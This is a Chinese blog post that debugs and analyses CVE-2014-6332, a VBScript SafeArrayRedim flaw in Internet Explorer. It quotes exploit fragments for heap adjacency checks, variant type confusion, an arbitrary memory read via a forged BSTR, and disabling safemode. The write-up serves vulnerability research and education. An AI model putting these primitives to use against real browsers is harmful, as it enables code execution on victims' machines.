1. 程式人生 > >CVE-2014-6332除錯分析

CVE-2014-6332除錯分析

    這個漏洞是一個IE瀏覽器裡,vbs方面的漏洞,yuange首先放出了這個漏洞的完整dve的利用,接下來各個安全團隊都出了比較好的分析報告。這個漏洞本身的原理算是比較傳統,但是利用技術非常巧妙。置位safemode後,shellcode相當於用指令碼語言直接編寫,通用性穩定性極強。閒暇之餘,也忍不住除錯一下。

除錯環境Win7+IE8,參考了瀚海源的精簡版yuange POC,因為裡面有加入了通過vbs在偵錯程式裡打日誌的方法,就直接用了,感謝分享。

漏洞原理:

先列出相關的資料結構:

typedef struct FARSTRUCT tagSAFEARRAY {
   unsigned short cDims;       // Count of dimensions in this array.
   unsigned short fFeatures;   // Flags used by the SafeArray
                        // routines documented below.
#if defined(WIN32)

   unsigned long cbElements;   // Size of an element of the array.
                        // Does not include size of
                        // pointed-to data.
   unsigned long cLocks;      // Number of times the array has been 
                        // locked without corresponding unlock.
#else
   unsigned short cbElements;
   unsigned short cLocks;
   unsigned long handle;      // Used on Macintosh only.
#endif
   void HUGEP* pvData;             // Pointer to the data.
   SAFEARRAYBOUND rgsabound[1];      // One bound for each dimension.
} SAFEARRAY;
typedef struct tagSAFEARRAYBOUND {
  ULONG cElements;
  LONG  lLbound;
} SAFEARRAYBOUND, *LPSAFEARRAYBOUND;

漏洞出在oleaut32!SafeArrayRedim函式中,當新的陣列長度大於0x8000000時,無符號數被當作有符號數判斷,使記憶體分配失敗,直接返回,導致陣列元素個數已經被修改,即可以越界讀寫其它地址。除錯過程如下。

SafeArrayRedim有兩個引數,一個是safearray,另一個是safearraybound。safearray是要修改陣列長度,safearrarybound裡面存放新陣列的長度,和起始索引值。


首先呼叫SafeArraySize計算陣列長度,如上圖,返回0x1f0。陣列元素大小為0x10,個數為0x1f。


從safearraybound裡取出新陣列元素個數,修改safearray的元素個數為0x800001f。


計算新陣列長度,為0x800001f0。


兩個長度相減,結果為0x80000000,經過jge有符號判斷,認為該值小於0。進入記憶體分配流程。


需要的記憶體為0x800001f0,記憶體分配失敗,後面再走就返回了。但是剛才陣列元素個數0x0800001f依然留在safearray物件的記憶體中,後面就可以越界讀寫了。

漏洞利用:

這個漏洞在記憶體分配失敗後,沒有將原來的陣列元素個數還原,致使可以在後面的vbs呼叫中,越界讀寫記憶體中的其它資料。到這裡,其實利用方法應該比較成熟了,記憶體佈局後,型別混淆,地址洩露之類的一系列操作。下面感受一下dve的精彩之處。

由於aa() 可以越界讀寫,因此需要在aa()後面佈置一個數組ab()。但是由於堆記憶體分配的隨機性,在aa()陣列後,未必能緊隨ab()陣列,因此在利用程式碼中,迴圈嘗試分配陣列。直到出現aa ab陣列緊鄰。EXP中程式碼如下所示。

<span style="font-family:System;font-size:14px;">  For i = 0 To 400
    If Over()=True Then
       IsEmpty("Over() success!!!") 
       document.write(i)     
       Create=True
       Exit For
    End If 
  Next</span>
<span style="font-family:System;font-size:14px;">function Over()
    On Error Resume Next
    IsEmpty("Over() running...")
 
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000
  
    redim  Preserve aa(a0) 
    redim   ab(a0)     
    redim  Preserve aa(a2)
  
    type1=1
    ab(0)=1.123456789012345678901234567890 //666f74d3adf9f13f
    aa(a0)=10
    
    // type=9 indicate Object 
    If(IsObject(aa(a1-1)) = False) Then
      if(vartype(aa(a1-1))<>0)  Then    
        If(IsObject(aa(a1)) = False ) Then
          type1=VarType(aa(a1))
        end if               
      end if
    end if
              
    If(type1=&h2f66) Then
          IsEmpty("cve-2014-6332: Array ab and Array aa cross!!!")
          IsEmpty("Array ab:")
          IsEmpty(ab(0))
          Over=True      
    End If
 
    redim  Preserve aa(a0)           
end function
</span>

  上面程式碼判斷了aa ab是否緊鄰。  如果aa ab陣列想鄰,aa(a1-1)為ab所在堆塊起始部分,即8位元組的堆頭+ab(0)的前8位元組。ab 和 aa的關係如下圖所示。


首先判斷isboject(aa(a1-1))是否為false,因為aa(a1-1)屬性部分為heap header,當然返回false。其次 ,VarType(aa(a1-1)),VarType去取aa(a1-1)的第一個word,這裡是0x2468,顯然也不等於0。接下來,注意到程式碼中有一句:ab(0)=1.123456789012345678901234567890 //666f74d3adf9f13f,就是通過ab(0),改寫aa(a1)的屬性;當然isobject(aa(a1))==false。且VarType(aa(a1))==0x2f66;為什麼記憶體中是6f66,而取得的值是2f66,原因是VarType的處理流程。


可以看到,取得的word後,and 0xFFFFBFFF。因此,這裡是2f66。這樣就判斷了aa ab是否緊鄰。

接著,通過這種aa ab交錯的修改方式,在aa(a1)處佈置了testaaaaa函式地址,並且修改屬性為0x003,即VT_I4 。在aa(a1+2)佈置mydata地址,並且修改aa(a1+2)屬性為0x200C,為SafeArray陣列型別。

上圖0x00515634為mydata資料。mydata資料偽造了一個safearray結構,元素個數被設定成0x7fff0000,這樣通過這個safearray,可以索引到記憶體任意地址。注意到safearray中,cElements為1,即陣列元素大小為1,而且pvdata為0,所以aa(a1+2)(i+&h11c+k)能直接索引到想要的地址上。

最後通過ReadMemo 函式,經過物件記憶體的讀取,讀取到COleScript物件地址,然後搜尋safemode標誌,修改。在yuange的利用中,從偏移0x120開始搜尋,找到0xE,然後向這個地方寫入0,完成對safemode的改寫。還有一點就是,改的時候,yuange提前了4個位元組,比如在0x120處找到,則需要向0x11c處賦值,就是因為按照一個VarientType來賦值的,不過因為ab(4)整個記憶體空間為0,所以0x120、0x11c、0x118、0x114都可以。ReadMemo的實現後面會分析。


0x020B7CF8為函式物件地址,通過幾次偏移,找到了COleScript物件的起始地址。

下面分析一下ReadMemo ,即任意地址讀的實現。     

<span style="font-family:System;font-size:14px;">    ab(0)=0   
    aa(a1)=add+4     
    ab(0)=1.69759663316747E-313  // 0800000008000000
    ReadMemo=lenb(aa(a1))</span>
    add為要讀的記憶體地址。先將add+4放到陣列元素aa(a1)內,接著通過ab(0)修改元素型別為VT_BSTR。由於BSTR長度存放在字串資料的起始的前4個位元組,這樣,呼叫lenb相當於從字串其實地址開始,減去4個位元組,讀取其記憶體的值。因此add需要加4,這樣lenb(aa(a1))才能返回add中的資料。


上圖中,0x00192688為aa(a1)起始地址,0x00192680為ab(0)起始地址,可以看出ab(0),已經將aa(a1)中的屬性修改為VT_BSTR了。0x0046F874=add+4。

結束:

該漏洞的分析基本上到這裡了,還有一些細節方面的東西沒有寫進來。雖然一些技術點如型別混淆,記憶體佈局,地址洩露到現在來說也算是比較傳統,但把這些都串聯起來,然後開啟notsafemode,確實需要相當的功底。可見yuange對於vb的理解之深。感覺自己還是水啊,以後還得多除錯學習。不過只能業餘搞了。